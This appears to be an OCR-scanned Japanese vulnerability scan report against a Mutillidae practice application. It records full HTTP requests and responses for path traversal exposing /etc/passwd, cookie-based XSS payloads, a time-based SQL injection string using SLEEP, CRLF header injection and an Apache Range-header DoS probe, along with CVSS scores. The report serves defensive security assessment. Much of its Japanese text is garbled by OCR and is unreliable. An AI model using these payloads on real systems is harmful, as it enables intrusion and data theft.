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PVIITRNSAY
I POST http://163.43.26.120/mutillidae/index.php?page=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

Host: 163.43.26.120

Content-Type: application/x-www-form-urlencoded

Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91

Content-Length: 78

AV ITARRT 1

I csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=
O HTTPRT—4% X

| 200 ok

©LRARYZAAY S

Date: Mon, 12 Dec 2022 02:48:40 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 7589

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

N L ARV RRT 1

910 : <td valign="top">
911 : <blockquote>
912: <!-- Begin Content -->

913 :root:x:0:0:root:/root:/bin/bash

914 : daemon:x:1:1:daemon:/usr/sbin:/usr/shin/nologin
915 : bin:x:2:2:bin:/bin:/usr/sbin/nologin

916 : sys:x:3:3:sys:/dev:/usr/sbin/nologin
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IS REEA—E

No.

URL
http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=HPHO
http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?do=toggle-hints&amp;page=login.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocument=docume
ntation/how-to-access-Mutillidae-over-Virtual-Box-network.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocument=docume
ntation/change-log.html&amp;document-viewer-php-submit-button=View Document

http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&amp;iv=6bc24fc1ab650b
25b4114e93a98f1eba

http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&amp;page-to-frame=styling.php?pa
ge-title=Styling+with+Mutillidae

http://163.43.26.120/mutillidae/index.php?page=password-generator.php&amp;username=anonymous
http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
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root:x:

root:x:

root:x:

root:x:

root:x:

root:x:

root:x:

root:x:

root:x:

root:x:

root:x:
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RHHER
URL http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
AvyR POST

NSA=% Cookie

el <sCrlpT>alert("-@3611-64@-")</ScRiPt>
MR B
2F—#23—R

Y
AVFTUY <sCrlpT>alert("-@3611-64@-")</ScRiPt>
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PVIITRNSAY
I POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

Host: 163.43.26.120

Content-Type: application/x-www-form-urlencoded

Cookie: showhints=<sCrlpT>alert("-@3611-64@-")</ScRiPt>; PHPSESSID=9f0qcrdc2g5meeg29sggim7p91
Content-Length: 78

AV ITARRT 1

I csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=
O HTTPRT—4% X

| 200 ok

O LRV ZAAY S

Date: Mon, 12 Dec 2022 02:48:38 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 8924

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

N L ARV RRT 1

20px;">Hints: Disabled (<sCrlpT>alert("-@3611-64@-")</ScRiPt> - | try harder)</span>

20px;">Not Logged In</span>
58: </td>
59: </tr>

53: <td bgcolor="#ccccff" align="center" colspan="7">

54 : <span class="version-header">Version: 2.6.58</span>

55: <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56 : <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:

57: <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
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IS REEA—E

No.

URL
http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotification
Code=HPHO0

http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotification
Code=HPHO0

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?do=toggle-hints&amp;page=login.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathT
oDocument=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathT
oDocument=documentation/change-log.html&amp;document-viewer-php-submit-but
ton=View Document

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathT
oDocument=documentation/change-log.html&amp;document-viewer-php-submit-but
ton=View Document

http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&am
p;iv=6bc24fc1ab650b25b4114e93a98f1eba

http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&amp;page-to-f
rame=styling.php?page-title=Styling+with+Mutillidae

http://163.43.26.120/mutillidae/index.php?page=password-generator.php&amp;use

rname=anonymous

http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1

http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
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GET

POST

POST

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

NRSA-%5

page

Cookie

page

Cookie

page

Cookie

page

page

page

Cookie

page

page

page

level1HintIncludeFile

page

Cookie

me

<sCrlpT>alert("-
@3592-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3592-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3593-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3593-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3594-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3594-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3595-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3600-64@-")
</ScRiPt>

<sCripT>alert("-
@3601-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3601-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3602-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3604-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3605-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3609-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3610-64@-")
</ScRiPt>

<sCrlpT>alert("-
@3610-64@-")
</ScRiPt>
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No.

17

18

URL

http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

AYy R RSA—% B AR
POST page <sCrlpT>alert("-
@3611-64@-")
</ScRiPt>
POST Cookie <sCrlpT>alert("-
@3611-64@-")

</ScRiPt>
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SQLIS— Ay E—IHmHLF L, SQLI Iz oy a VA RETZARENHY T,
CORBENEBERINIBE.

1. EEBHRORE

2. T—H9DHTA

3 —ERDEL

REDFENHYET,

SEIFE  http://www.ipa.go.jp/security/vuln/vuln_contents/sql.html
POE S

AR7—=R-7OY—Yv—&FAL. BET—IRN-—XIITI7EILBVTLLREETV, HEREICIN7R - FOY—Iv—PHAE
TETVRWVWBEIE, SQLXFRICERASTNZEMFHRYFE IR T —TREBEL TRV, T, IS —AvE—JIBHARYLT
S—R-—IEZHBTZLEL. BAKKRUVAVWESIRELTLLEEW,

C IR —TREXFS

[ T \I \ll ) ; ]
RHEFER
URL http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
AVy R POST
NSA=% blog_entry
el " UNION SELECT IF(SUBSTRING(USER(),1,4)="root',1,SLEEP(5)) ;#--
R BT
RF—H2—R
Ay S
VTV MySQL server version

I 0.061
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PVIITRNSAY
I POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

Host: 163.43.26.120

Content-Type: application/x-www-form-urlencoded

Cookie: showhints=1; PHPSESSID=9f0qcrdc2g5meeg29sgglm7p91

Content-Length: 185

AVIVIRNRT «

csrf-token=&add-to-your-blog-php-submit-
button=Save%20Blog%20Entry&blog_entry=%27%20UNION%20SELECT%20IF%28SUBSTRING%28USER%28%29%2C1%2C4%29%3D%2
Troot%27%2C1%2CSLEEP%285%29%29%20%3B%23--

O HTTPZF—4 2
| 200 ok

O LARYAANY S

Date: Mon, 12 Dec 2022 02:48:44 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 10332

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html
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© LRV RART 4

920 : <tr><td class="error-label">Line</td><td class="error-detail">194</td></tr>

921 : <tr><td class="error-label">Code</td><td class="error-detail">0</td></tr>

922 : <tr><td class="error-label">File</td><td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php</td>
</tr>

923 : <tr><td class="error-label">Message</td><td class="error-detail">/var/www/mutillidae/classes/MySQLHandler.php

on line 189: Error executing query: <br /><br />connect_errno: 0<br />errno: 1064<br />error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION SELECT
IF(SUBSTRING(USER(),1,4)="root',1,SLEEP(5)) ;#--', now() )" at line 1<br />client_info: 5.5.59<br />host_info: 127.0.0.1 via
TCP/IP<br /><br />) Query: &#xd;&#xa;&#x9;&#x9;&#x9;INSERT INTO blogs_table&#x28;blogger_name, comment, date&#x29;
VALUES &#x28;&#x27;anonymous8#x27;, &#x27;&#x27; UNION SELECT
IF&#x28;SUBSTRING&#x28;USER&#x28;&#x29;,1,48#x29;&#x3d;8#x27;root&#x27;,1, SLEEP&#x28;5&#x29;&#x29;
&#x3b;&#x23;--&#x27;, Nnowd#x28;&#x29; &#x29; (0) [Exception] <br />

924 : </td></tr>

925: <tr><td class="error-label">Trace</td><td class="error-detail">#0

CVSS 2.0

EAEESE: (.5 &

ACREEHEDEMS H&  M:AR

AuREERT DRI ES MRS S:E—

CHTMADHE N U [EEEoN  C:EMEAY

SEEEADHE N U BEBEilel  C:2EHY

AFTRMEADRE N U BEEEilsel  C:2EHY
CVSS 3.1

AR 4.3 &

— ks o—5 | Lo | e

ACRERHEDEMS H:&
PRIDELIFHEL NIV N:RE JEEH H:&
U2 —9EEsL R R:ZE
S:2a—~ U:ZE2 U ersEXD)
CHEMEANDRE N2 L JEEH H:&

IEEEADRE LiE H:&

AAHEANDEE LiE H:&
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e

aul
N

L —

URL AYy R NRSA—-%
http://163.43.26.120/mutillidae/index.php?page=login.php POST username
http://163.43.26.120/mutillidae/index.php?page=login.php POST password

http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile= GET level1HintIncludeFile
1

http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php POST blog_entry

m=

MySQL server
version

MySQL server
version

MySQL server
version

MySQL server
version
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18 14

it

34HIMLT VY923 v(VVD)

LT3

R=IAIIEED) YV &BHAL C EMARETT,
COEBENFIASINIZSEE. BEOHEZIR—INDFEPLERULVREORITERFISNZARENBHY FT,

X458

COREBEICHIET BIIE. Web 7TV T —a vV ICEBVWTHARZ ISR UEXFINOBYR IR —F/Zy - RAEBzF5C e
HETT,

Fle. Web 77V =y a VBARKBICUTERAIET3CET. UV o1vIzovaveEsEd. < 0RBHICLIHELXRICE
MT 3 ENTRETT,

ADEOERAPXFE. HBEBRZBICEEL. ELVDAAEOAHEZITHITZ LS ICNET S,
5l : BEEB B DEICIZ10-12 MTO¥ARFT DA & FFAIE
JavaScript &R LI SA 7V MITCOARAF v VIKEE T, U —NRAITCABAFz VI £1TS,

BRE. VY1903V 0RRRRXFIINENEIICSN TRV EISERT 3728, AMEFFEMUICE ., XFINEEIT
SETOBAITEETIHENDY FTT, TORDIEBBBIANOHRLRI TR, 7FVIT—Ya Vv E2FE0ORRBENREHENL
FT,

RHHER
URL http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
AvyR POST
NSA=% Cookie
-]l "><IMG SRC="/-@3611-64@-/_SCAN_.html">
MR B
RF—H2—R
Y
AVFTUY "><IMG SRC="/-@3611-64@-/_SCAN_.html|">

T E R 0.044



Confidential
Page 21 of 92

PVIITRNSAY
I POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
PVIIZARAY S

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php

Host: 163.43.26.120

Content-Type: application/x-www-form-urlencoded

Cookie: showhints=""><IMG SRC="/-@3611-64@-/_SCAN_.html|">; PHPSESSID=9f0qcrdc2g5meeg29sggim7p91
Content-Length: 78

AV ITARRT 1

I csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=
O HTTPRT—4% X

| 200 ok

O LRV ZAAY S

Date: Mon, 12 Dec 2022 02:48:46 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9018

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

N L ARV RRT 1

20px;">Hints: Disabled (*"><IMG SRC="/-@3611-64@-/_SCAN_.html"> - | try harder)</span>

20px;">Not Logged In</span>
58: </td>
59: </tr>

53: <td bgcolor="#ccccff" align="center" colspan="7">

54 : <span class="version-header">Version: 2.6.58</span>

55: <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56 : <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:

57: <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
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CVSS 2.0

sEAERE®: 5.0 &+

ACHREZRHDEHS HE  M:A B
AuKERIOREES M:AE%  S:E—
CHEBEANDRE N:7%& U C:E2mEm
I EEEANDRE PERPHY  C:EEM
AT A DB Pl  CREN
CVSS 3.1

AV:IETX D AfiERy cD—2  LO—A)L  P:HE
ACIREBRHEDEHS H:E
PRUDELIFIEL R N:FE HS

— m—

C:HZMEANDFE N2 U AEER H:E

ST MEADRE L& H5

AT A D EE LiE H&S
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IS REEA—E

No.

URL

http://163.43.26.120/mutillidae/index.php?page=home.ph
p&amp;popUpNotificationCode=HPHO0

http://163.43.26.120/mutillidae/index.php?page=home.ph
p&amp;popUpNotificationCode=HPHO0

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?page=login.php

http://163.43.26.120/mutillidae/index.php?do=toggle-hint
s&amp;page=Ilogin.php

http://163.43.26.120/mutillidae/index.php?page=documen
t-viewer.php&amp;PathToDocument=documentation/how-t
o-access-Mutillidae-over-Virtual-Box-network.php

http://163.43.26.120/mutillidae/index.php?page=documen
t-viewer.php&amp;PathToDocument=documentation/chang
e-log.html&amp;document-viewer-php-submit-button=Vie
w Document

http://163.43.26.120/mutillidae/index.php?page=documen
t-viewer.php&amp;PathToDocument=documentation/chang
e-log.html&amp;document-viewer-php-submit-button=Vie
w Document

http://163.43.26.120/mutillidae/index.php?page=view-use
r-privilege-level.php&amp;iv=6bc24fc1ab650b25b4114e93a
98f1eba

http://163.43.26.120/mutillidae/index.php?page=styling-fr
ame.php&amp;page-to-frame=styling.php?page-title=Stylin
g+with+Mutillidae

http://163.43.26.120/mutillidae/index.php?page=password
-generator.php&amp;username=anonymous

GET

GET

GET

POST

POST

GET

GET

GET

GET

GET

GET

GET

NKSA—%

page

Cookie

page

Cookie

page

Cookie

page

page

page

Cookie

page

page

page

53

""><IMG SRC="/-@3592-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3592-64@-/_SCAN_.htmI">

""><IMG SRC="/-@3592-64@-
/-SCAN_.htmlI">

"><IMG SRC="/-@3593-64@-
/-SCAN_.html|">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3593-64@-/_SCAN_.html|">

""><IMG SRC="/-@3593-64@-
/-SCAN_.htmI">

"><IMG SRC="/-@3594-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3594-64@-/_SCAN_.htmI">

""><IMG SRC="/-@3594-64@-
/-SCAN_.htmlI">

"><IMG SRC="/-@3595-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3595-64@-/_SCAN_.htmI">

""><IMG SRC="/-@3600-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3600-64@-/_SCAN_.htmI">

"><IMG SRC="/-@3601-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3601-64@-/_SCAN_.htmI">

""><IMG SRC="/-@3601-64@-
/-SCAN_.htmlI">

""><IMG SRC="/-@3602-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3602-64@-/_SCAN_.htmI">

""><IMG SRC="/-@3604-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3604-64@-/_SCAN_.htmI">

"><IMG SRC="/-@3605-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3605-64@-/_SCAN_.htmI">

MRS
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No.

URL

http://163.43.26.120/mutillidae/hints-page-wrapper.php?|
evellHintIncludeFile=1

http://163.43.26.120/mutillidae/?page=add-to-your-blog.
php

http://163.43.26.120/mutillidae/?page=add-to-your-blog.
php

http://163.43.26.120/mutillidae/index.php?page=add-to-y
our-blog.php

http://163.43.26.120/mutillidae/index.php?page=add-to-y
our-blog.php

AVY R

GET

GET

GET

POST

POST

NRNSA-%5

level1HintIncludeFile

page

Cookie

page

Cookie

m= R

""><IMG SRC="/-@3609-64@-
/-SCAN_.html">

""><IMG SRC="/-@3610-64@-
/-SCAN_.html">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3610-64@-/_SCAN_.htmI">

"><IMG SRC="/-@3610-64@-
/-SCAN_.htmlI">

"><IMG SRC="/-@3611-64@-
/-SCAN_.html|">">Toggle Hints</a>
</td><td>|</td> <td><a href="index.php?
do=toggle-bubble-hints&page=""><IMG
SRC="/-@3611-64@-/_SCAN_.htm|">

"><IMG SRC="/-@3611-64@-
/-SCAN_.htmlI">
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{6 | 14

3.5.PHP/\—2 3 VIR DK

LT3

PHPON—Y 3 VIBBIRRINTVWET, N—I 3 VORRBEIEBEICIIBYETAN. EFaUFs/ROIhTVwAn/N—
JIaVDBEBRIRRINZICLICLY REFFERDILHTRELERY FT,

X458

LTOBEICTICLEHBONZLET, T RERRINTVIN-I3Vvo7 TV r—avIitBENrEEIhTW3BE
F. BFIN—YaVICEHITB L EHBVELETS,

PHPDEREZ 7 1 JLphp.iniE U TDRFEICT I L E#HBVZLET,

FEHE. ApacheEBRENILET,

expose_php = Off

BFRR/\— 3 V1E  http://www.php.net/ TRERRLTLLZETW,

RHAER

URL http://163.43.26.120/mutillidae/

AV R GET

U TS

R EAT

RF—HRI—R
Ay g PHP/5.5.9-1ubuntu4.23
AVFUY

TEEEEE 0.063
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AVIOIRNSTY
| GET http://163.43.26.120/mutillidae/
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: ?SCAN_%%0d%%0aSecAppHeader: SecurityScanner-@3591-64@-

Cookie: showhints=1; PHPSESSID=hh4c1tusuutqgjSrgoha2konl1

AU I TARRT 1

O HTTPZF—4 2
| 200 ok

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:44:23 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9048

Content-Type: text/html

® LRV RRT 1

1: <IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd">

2 : <html>

3 : <head>

4 :  <link rel="shortcut icon" href="./images/favicon.ico" type="image/x-icon" />

5: <link rel="stylesheet" type="text/css" href="./styles/global-styles.css" />

6: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu.css" />

7: <link rel="stylesheet" type="text/css" href="./styles/ddsmoothmenu/ddsmoothmenu-v.css" />

8
9
1

<script type="text/javascript"” src="./javascript/bookmark-site.js"></script>
0: <script type="text/javascript" src="./javascript/ddsmoothmenu/ddsmoothmenu.js"></script>
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IS REEA—E

No. URL

1 http://163.43.26.120/mutillidae/

AVY R

GET

RSA-%5

mE

PHP/5.5.9-1ubuntu4.23

MRS
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{6 | 14

3.6.ApacheDRange HeaderSIED R & % H— B R ERTAE (DoS) D ATAEME

LT3

HTTPU 2 TR b ICBREE L TcRangeNy ¥ —&MULIEV VIR N &ERET B LT,
WebH —/NEDAEYUPCPUEKEICHE L T —ERERIFE(DoS) & B3 ATREMENH Y FF,

X458

HTTPY —/X—HA HTTP Range ' ¥ T X k233 U T 206 Partial Content 23R U & L7z,
CEASNTOVBHTTPY —N—RUTICEE T 2HEE. BN —YaVICEHRIT I EHBORLET,
BEFHTERVHEI/NY FOERE CREIKCIEE W,

- Apache 2.2% T Apache 2.2.19 B LU ENLHIOTRTDON—-I 3V

- Apache 2.0% T Apache 2.0.64 & LU ZNLBIOTRTON—V 3

SEIERH
http://www.ipa.go.jp/security/ciadr/vul /2011083 1-apache.html

REER
URL http://163.43.26.120/mutillidae/
AVYR GET
RS A—%
el Request-Range:bytes=0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7
R BT

AF—HRIA—K 206
Ay Y
AVFYY

T EEE 0.057
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AVIOIRNSTY
| GET http://163.43.26.120/mutillidae/
AVIIRAYY

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Request-Range: bytes=0-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7

AU I TARRT 1

S HTTPRT—% X
I 206 Partial Content

O LRARYZAY S

Date: Mon, 12 Dec 2022 02:44:27 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Set-Cookie: PHPSESSID=kpre4hfhaeusctdlcn4v0dlik7; path=/, showhints=1
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip

Content-Range: bytes 0-7/9048
Content-Length: 8

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html

N L ARV RRT 1
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CVSS 2.0

sEAERE®: 5.0 &+

ACHEBERHDEHMS HE  MA EEES

Au: BRI DR ES Mg S:E—

CHEMEANDRE PEBDEY  CEEH

EEMADHE PEBDEY  CEREH

AFTRMEADRE N7 U EEEel  C:2EHY
CVSS 3.1

AV:IETX D AfiERy cD—2  LO—A)L  P:HE
ACIREBRHEDEHS H:E
PRUDELIFIEL R N:FE HS

U:2—9Es5L )b R:E
S =T
CHEEMEADRE N U JEER H:&
IREHEADHE LS H&E
AT A ) B LI HE
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IS REEA—E

No. URL AYVy R IRSA—% 3 SR

1 http://163.43.26.120/mutillidae/ GET - 206
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3 19 4
3THEHRNFED IR T —TRN I l

LT3

[<>", 8] EOFHEXFOVINANIRT—TENTEDFFTHATNTVWET, FHNFEE0TFHATZCLICLY . vORY
ThROVFT 4V ITNRET ZREEENDHY T,

X458

[<,>,",, 8] EOHHYZIHERERLE TCHERIN VI IR —TEHEZFER L TBHTIRT—F LTIV, 7OTSLADRK
REAIDOMBEER LTI,
* IR —TREXFES

[<>"" %% () &+ ;]

RHHER
URL http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php
AVy R POST
NSA—=% Cookie
B el &_SCAN_-@3611-64@-_SC>AN__SC<AN__SC"AN__SC'AN_
R B

ATF—H2RA—F

Ny Y

AvFYY _SC"AN_

I 0.048
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APUVIIRRSTY

I POST http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

AVIIRAYY

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Referer: http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
Host: 163.43.26.120

Content-Type: application/x-www-form-urlencoded

Content-Length: 78

AVIVIRNRT «

I csrf-token=&add-to-your-blog-php-submit-button=Save%20Blog%20Entry&blog_entry=

O HTTPRF—4 2
| 200 ok

O LRV ZAAY S

Date: Mon, 12 Dec 2022 02:48:48 GMT
Server: Apache

X-Powered-By: PHP/5.5.9-1ubuntu4.23
Logged-In-User:

X-XSS-Protection: 0

Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 9016

Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html

N L ARV RRT 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Cookie: showhints=&_SCAN_-@3611-64@-_SC>AN__SC<AN__SC"AN__SC'AN_; PHPSESSID=9f0qcrdc2g5meeg29sggim7p91

53: <td bgcolor="#ccccff" align="center" colspan="7">

54 : <span class="version-header">Version: 2.6.58</span>

55: <span id="idSecurityLevelHeading" class="version-header" style="margin-left: 20px;">Security Level: 0 (Hosed)</span>
56: <span id="idHintsStatusHeading" CookieTamperingAffectedArea="1" class="version-header" style="margin-left:
20px;">Hints: Disabled (&_SCAN_-@3611-64@-_SC>AN__SC<AN__SC"AN__SC'AN_ - | try harder)</span>

57: <span id="idSystemInformationHeading" ReflectedXSSExecutionPoint="1" class="version-header" style="margin-left:
20px;">Not Logged In</span>

58 : </td>

59: </t
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EAREEE 4.3 B

AV:BETTX 5 ABERY ~D—2  LO—-A) PH#E

ACIREBRHEDEHS H:E
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IS REEA—E

No.

URL
http://163.43.26.120/mutillidae/

http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=
HPHO

http://163.43.26.120/mutillidae/index.php?page=home.php&amp;popUpNotificationCode=
HPHO

http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?page=login.php
http://163.43.26.120/mutillidae/index.php?do=toggle-hints&amp;page=login.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocu
ment=documentation/how-to-access-Mutillidae-over-Virtual-Box-network.php

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocu
ment=documentation/change-log.html&amp;document-viewer-php-submit-button=View Do
cument

http://163.43.26.120/mutillidae/index.php?page=document-viewer.php&amp;PathToDocu
ment=documentation/change-log.html&amp;document-viewer-php-submit-button=View Do
cument

http://163.43.26.120/mutillidae/index.php?page=view-user-privilege-level.php&amp;iv=6b
c24fc1ab650b25b4114e93a98f1eba

http://163.43.26.120/mutillidae/index.php?page=styling-frame.php&amp;page-to-frame=s
tyling.php?page-title=Styling+with+Mutillidae

http://163.43.26.120/mutillidae/index.php?page=password-generator.php&amp;username=
anonymous

http://163.43.26.120/mutillidae/hints-page-wrapper.php?level1HintIncludeFile=1
http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
http://163.43.26.120/mutillidae/?page=add-to-your-blog.php
http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

http://163.43.26.120/mutillidae/index.php?page=add-to-your-blog.php

AYY R

GET

GET

GET

GET

GET

POST

POST

GET

GET

GET

GET

GET

GET

GET

GET

GET

GET

POST

POST

RSA-%5

page

Cookie

page

Cookie

page

Cookie

page

page

page

Cookie

page

page

page

level1HintIncludeFile

page

Cookie

page

Cookie

BME NRRR

_SC'AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

_SC"AN_

